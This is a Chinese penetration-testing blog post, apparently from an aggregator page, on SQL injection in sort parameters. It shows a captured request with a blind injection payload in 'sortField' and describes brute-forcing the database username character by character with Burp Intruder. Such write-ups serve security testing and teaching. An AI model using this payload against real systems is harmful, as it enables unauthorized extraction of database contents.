渗透系列之排序处产生的SQL注入问题

2023-11-16

1、在日常的测试过程中,发现系统的排序功能最容易产生sql注入,我们需要重点关注业务系统的排序功能,一般功能点对应这类字段:sortField、sortOrder、order、orderby等。

举个排序的SQL注入案例:

发现系统的一个查询功能存在排序,使用bp进行抓包,寻找到该功能的排序字段sortField。

 

数据包如下:

POST xxxxxxxx HTTP/1.1

Host:xxxxxxx

Content-Length: 1680

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ3EAffKC

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: JSESSIONID=xxxx

Connection: close

------WebKitFormBoundaryQ3EAffKC

Content-Disposition: form-data; name="commonDto"

 

[{"id":"rblAuditstatus","bind":"status","type":"radiobuttonlist",,"sortField":"xxxx-(case when ascii(substring(user,1,1))=100 then 0 else 1/0 end)","sortOrder":"asc","columns":[{"fieldName":"xxxx"},{"fieldName":"idcard"},{"fieldName":"zigexulie"},{"fieldName":"graduatedate","format":"yyyy-MM-dd"},

------WebKitFormBoundaryQ3EAffKC—

 

我们重点关注这个数据包的排序字段sortField, 经过使用常规的一个单引号和两个单引号发现该字段存在注入,然后使用(case when ascii(substring(user,1,1))=100 then 0 else 1/0 end)这个payload去探测盲注猜测该系统数据库的数据库用户。

使用bp的intruder功能去爆破这两个参数A和B:(case when ascii(substring(current_user,A,1))=B then 0 else 1/0 end),A是代表数据库用户的第X位,B是代表该数据库用户第X位所对应的ascii值,爆破完将其位数与值一一对应提取出来,然后按照ascii表将其转化为字母即可。

 

将其ascii对应的数字转化字母:

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

渗透系列之排序处产生的SQL注入问题 的相关文章

  • node连接mysql实现带分页列表多条件模糊查询效果-新手教程

    前言 使用node连接mysql 这里是模糊查询方法完整流程 第一 安装我们的express脚手架 入口 第二 在根目录下创建model文件夹 里面放两个文件 1 mysql config js 这里放的是我们的数据库配置 配置链接数据库参
  • 现代JavaScript,你应该使用的10件事

    javascripttip 3 部分系列 1现代 JavaScript 你应该使用的 10 件事 从今天开始 2了解如何在 JavaScript 中使用循环 3如何在 JavaScript 中学习足够多的 RegEx 才能变得危险 您可能对
  • angularjs ajax header,AngularJS发送异步Get/Post请求方法

    1 在页面中加入AngularJS并为页面绑定ng app 和 ng controller 2 添加必要的控件并绑定相应的事件 get param post Get Post 3 在JS脚本中发送进行Get Post请求 get scope
  • keras 入门:卷积神经网络实现 MNIST 手写数字识别

    keras 入门 卷积神经网络实现 MNIST 手写数字识别 手写数字识别问题作为机器学习领域中的一个经典问题 本文介绍如何使用 keras 构建卷积神经网络模型实现 MNIST 手写数字识别 文本代码只需更换训练集目录 修改图片输入尺寸和
  • UVA-140 带宽 题解答案代码 算法竞赛入门经典第二版

    GitHub jzplp aoapc UVA Answer 算法竞赛入门经典 例题和习题答案 刘汝佳 第二版 把输入的这些结点进行一个全排列 然后找出带宽最少的组合 其实输入给出的数据量并不大 最多8个结点 不剪枝的话也就是8 个组合 应该
  • benchmark TPC-H postgreSQL

    写在前面 个人对TPCH benchma的理解 我接到这个任务的时候 描述是这样的 呀 用benchMarke生成TPC H然后测试一下 我第一反应就是benchMark是什么 TPCH是什么 现在把这个弄完一遍后来说一下我的理解 首先什么

随机推荐

  • windows查看WIFI无线网络密码

    方法一 通过查看无线属性查询 1 首先 点击电脑右下角的WiFi的图标 选择 打开网络和internet设置 或者选择打开设置 点击 更改适配器选项 2 选中无线网 查看此连接的状态 3 查看无线属性 4 然后选择上方的安全 选中显示字符
  • vue el-table 行排序 + 拖拽排序 简单粗暴

    1 行排序 HTML
  • mmdetection 报错 cats = self.dataset['categories'] KeyError: 'categories'

    如上图 报错 原因 coco训练集中没有categories字段 即数据集的标注json文件不对 解决方案 请参照coco数据集格式
  • 【华为OD统一考试A卷

    华为OD统一考试A卷 B卷 新题库说明 2023年5月份 华为官方已经将的 2022 0223Q 1 2 3 4 统一修改为OD统一考试 A卷 和OD统一考试 B卷 你收到的链接上面会标注A卷还是B卷 请注意 根据反馈 目前大部分收到的都是
  • PCL MeanShift点云聚类(C++详细过程版)

    目录 一 算法原理 1 原理概述 2 实现流程 3 参考文献 二 代码实现 三 结果展示 四 测试数据 本文由CSDN点云侠原创 爬虫网站请自重原文链接 一 算法原理 1 原理概述 均值漂移算法是一种非参数聚类技术 它不需要预先知道聚类的数
  • HTML、PHP实战:搭建一个网页登录页面。

    一 实验环境 MySQL5 7 26 FTP0 9 60 Apache2 4 39 我这里用的是PHPstudy小皮一键搭建的 数据库 二 登录页面 登录页面前端代码 文件名 denglu html
  • 人工智能学习笔记(一)Agent

    智能agent 开篇前言 agent的分类 1 简单反射agent 2 基于状态的反射agent 3 基于目标的agent 4 基于效用的agent 5 学习agent Exploration vs Exploitation 开篇前言 这段
  • 一文读懂什么是DHCP以及DHCP的功能特点

    随着企业中网络结构的日益复杂 接入终端的急剧增加 传统的IP分配方式已经无法满足日常工作需求 DHCP的出现有效解决了IP地址分配难题 本文中科三方针对什么是DHCP以及DHCP的功能特点做下介绍 什么是DHCP DHCP 全称Dynami
  • Python+Excel筛选未提交人员

    起因 学校给了表格让我们班长统计信息 可以用腾讯大大的TIM协作办公 让大家自己填 感觉方便了很多 然而 信息一旦变多而且顺序又没有固定 到后期想要知道未填信息的同学 这就难受了 只能找到班级名单 一个一个对照着找出未提交人员 日后此类事情
  • OCR入门教程系列(一):OCR基础导论

    作者简介 CSDN 阿里云人工智能领域博客专家 新星计划计算机视觉导师 百度飞桨PPDE 专注大数据与AI知识分享 公众号 GoAI的学习小屋 免费分享书籍 简历 导图等 更有交流群分享宝藏资料 关注公众号回复 加群 或 链接 加群 专栏推
  • 【LVGL学习笔记】image图像相关接口

    数据结构如下 Data of image typedef struct lv obj t obj const void src 图像源 指向数组 文件或符号的指针 lv point t offset lv coord t w 宽度 lv c
  • 计算机硬盘模式,硬盘三种模式的含义-电脑自学网

    硬盘三种模式的含义 NORMAL 普通模式 是最早的IDE方式 以此方式访问BIOS和IDE控制器对参数不做任何转换 该模式支持的最大柱面数为1024 最大磁头数为16 最大扇区为63 每个扇区字节数为512 因此这种模式所支持的硬盘最大容
  • Open3D点云处理算法最全合集

    Open3D点云处理算法最全合集 致力于搜集可运行 可视化较好的Open3D算法 持续更新中 1 Open3D 点云读取及可视化 离群点去除 2 Open3D 点云体素格下采样 3 Open3D 点云KdTree建立 3种近邻搜索及结果可视
  • 系统开发与运行

    系统开发与运行 系统分析与设计 需求分析 需求工程 结构化分析与设计 测试基础知识 系统运行与维护 软件架构介绍 系统分析概述 系统分析是一种问题求解技术 它将一个系统分解成各个组成部分 目的是研究各个部分如何工作 交互 以实现其系统目标
  • set_new_handler(0)是什么意思?有什么用?

    出自 STL源码剖析 第45页中有一行代码set new handler 0 源代码 inline T allocate ptrdiff t size T std set new handler 0 T tmp T operator new
  • C#中File FileInfo 和Directory DirectoryInfo 类的区别

    老师在讲C 文件操作的时候讲的个类 功能类似 但用法有区别 他们都存在于systerm IO命名空间下 File和Directory的方法都是静态方法 FileInfo和DirectoryInfo的方法都是普通方法 老师建议是如果你要在某个
  • Python之PyAudio使用

    PyAudio 播放 录音 回放 回调方法播放 非阻塞回调 PyAudio 使用这个可以进行录音 播放 生成wav文件等等 播放 coding utf 8 引入库 import pyaudio import wave import sys
  • aiohttp 异步http请求-12.aiohttp 请求生命周期(和requests库有什么不一样?)

    前言 aiohttp 请求生命周期对比requests库使用的区别 aiohttp 客户端 API 当你第一次使用 aiohttp 时 你会注意到一个简单的 HTTP 请求不是一次执行的 而是最多三个步骤 async with aiohtt
  • dac0832三角波c语言程序,单片机控制DAC0832输出正弦波三角波汇编程序

    org 0000h LJMP MAIN ORG 0003H LJMP L0 MAIN MOV R2 0aH 调幅倍数 MOV R4 01H 增减选择 MOV R5 01H pp SETB EA SETB EX0 延时计数个数 MOV A 0
  • 渗透系列之排序处产生的SQL注入问题

    1 在日常的测试过程中 发现系统的排序功能最容易产生sql注入 我们需要重点关注业务系统的排序功能 一般功能点对应这类字段 sortField sortOrder order orderby等 举个排序的SQL注入案例 发现系统的一个查询功